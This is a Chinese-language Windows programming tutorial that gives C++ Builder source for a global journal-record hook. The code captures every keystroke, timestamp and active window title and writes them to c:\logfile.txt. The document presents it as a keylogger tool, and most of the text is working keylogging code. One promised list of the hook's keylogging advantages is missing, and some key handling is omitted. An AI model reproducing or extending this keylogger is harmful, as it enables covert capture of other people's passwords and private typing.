在 Windows 系統編程中,鉤子是消息處理機制的核心組件。透過安裝各類鉤子,應用程式能攔截系統消息流,在消息抵達目標視窗前進行監控與處理。常見鉤子類型包含鍵盤鉤子、滑鼠鉤子、Shell 鉤子等,各司其職。鉤子按作用範圍分為執行緒專用鉤子與全域鉤子:前者僅監控指定執行緒,後者則覆蓋系統所有執行緒。全域鉤子通常要求回呼函數置於獨立 DLL 中,但日誌鉤子是個例外——它僅支援全域模式、系統僅允許單一實例、且不強制要求 DLL 封裝,大幅簡化了開發流程。
相較於鍵盤鉤子,日誌鉤子在鍵盤記錄場景具備顯著優勢:
開發環境:中文 Windows 98 + Borland C++ Builder 4。以下步驟構建一個記錄按鍵動作、時間戳記與活動視窗標題的工具。
新建專案,於 Form1 放置兩個按鈕:
Button1:Caption「安裝日誌鉤子」Button2:Caption「卸載日誌鉤子」HHOOK g_hLogHook = NULL; // 鉤子控制代碼
HWND g_hLastFocus = NULL; // 上一個擁有焦點的視窗
const int KeyPressMask = 0x80000000; // 鍵盤狀態遮罩
char g_PrvChar = 0; // 上一個按鍵虛擬碼
// Button1 OnClick:安裝
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if (g_hLogHook == NULL)
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance, 0);
}
// Button2 OnClick:卸載
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook != NULL) {
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam)
{
if (iCode < 0)
return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
if (iCode == HC_ACTION) {
EVENTMSG *pEvt = (EVENTMSG *)lParam;
HWND hFocus;
char szTitle[256], szTime[128];
FILE *stream = fopen("c:\\logfile.txt", "a+t");
// --- 鍵盤按下事件 ---
if (pEvt->message == WM_KEYDOWN) {
int vKey = LOBYTE(pEvt->paramL);
hFocus = GetActiveWindow();
// 視窗切換偵測:記錄新視窗標題與時間
if (g_hLastFocus != hFocus) {
GetWindowText(hFocus, szTitle, 256);
g_hLastFocus = hFocus;
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "\n%s %s ", szTime, szTitle);
}
// 修飾鍵狀態檢測
bool bShift = (GetKeyState(VK_SHIFT) & KeyPressMask) == KeyPressMask;
bool bCapital = (GetKeyState(VK_CAPITAL) & 1) == 1;
bool bNumLock = (GetKeyState(VK_NUMLOCK) & 1) == 1;
// 字元按鍵轉換邏輯(節錄關鍵段落)
if (vKey >= 0x30 && vKey <= 0x39) { // 0-9
if (!bShift) fputc(vKey, stream);
}
else if (vKey >= 0x41 && vKey <= 0x5A) { // A-Z
char ch = bCapital ^ bShift ? vKey + 32 : vKey;
fputc(ch, stream);
}
else if (vKey >= 0x60 && vKey <= 0x69) { // 小鍵盤 0-9
if (bNumLock) fputc(vKey - 0x60 + 0x30, stream);
}
// ... 其餘符號鍵、功能鍵、方向鍵處理略 ...
// 特殊鍵以標籤形式記錄,如 [EN]、[BK]、[TAB] 等
}
// --- 滑鼠點擊同步記錄視窗切換 ---
if (pEvt->message == WM_LBUTTONDOWN || pEvt->message == WM_RBUTTONDOWN) {
hFocus = GetActiveWindow();
if (g_hLastFocus != hFocus) {
g_hLastFocus = hFocus;
GetWindowText(hFocus, szTitle, 256);
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "\n%s %s ", szTime, szTitle);
}
}
fclose(stream);
}
return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
}
編譯執行後,每當使用者切換視窗或按下按鍵,c:\logfile.txt 將自動記錄時間戳、視窗標題與按鍵字元。程式碼未涵蓋所有虛擬鍵碼,開發者可依需求補充 switch-case 分支。
任何鉤子皆會增加系統消息處理開銷,請僅在必要時安裝,用畢即卸載,以免影響整體效能。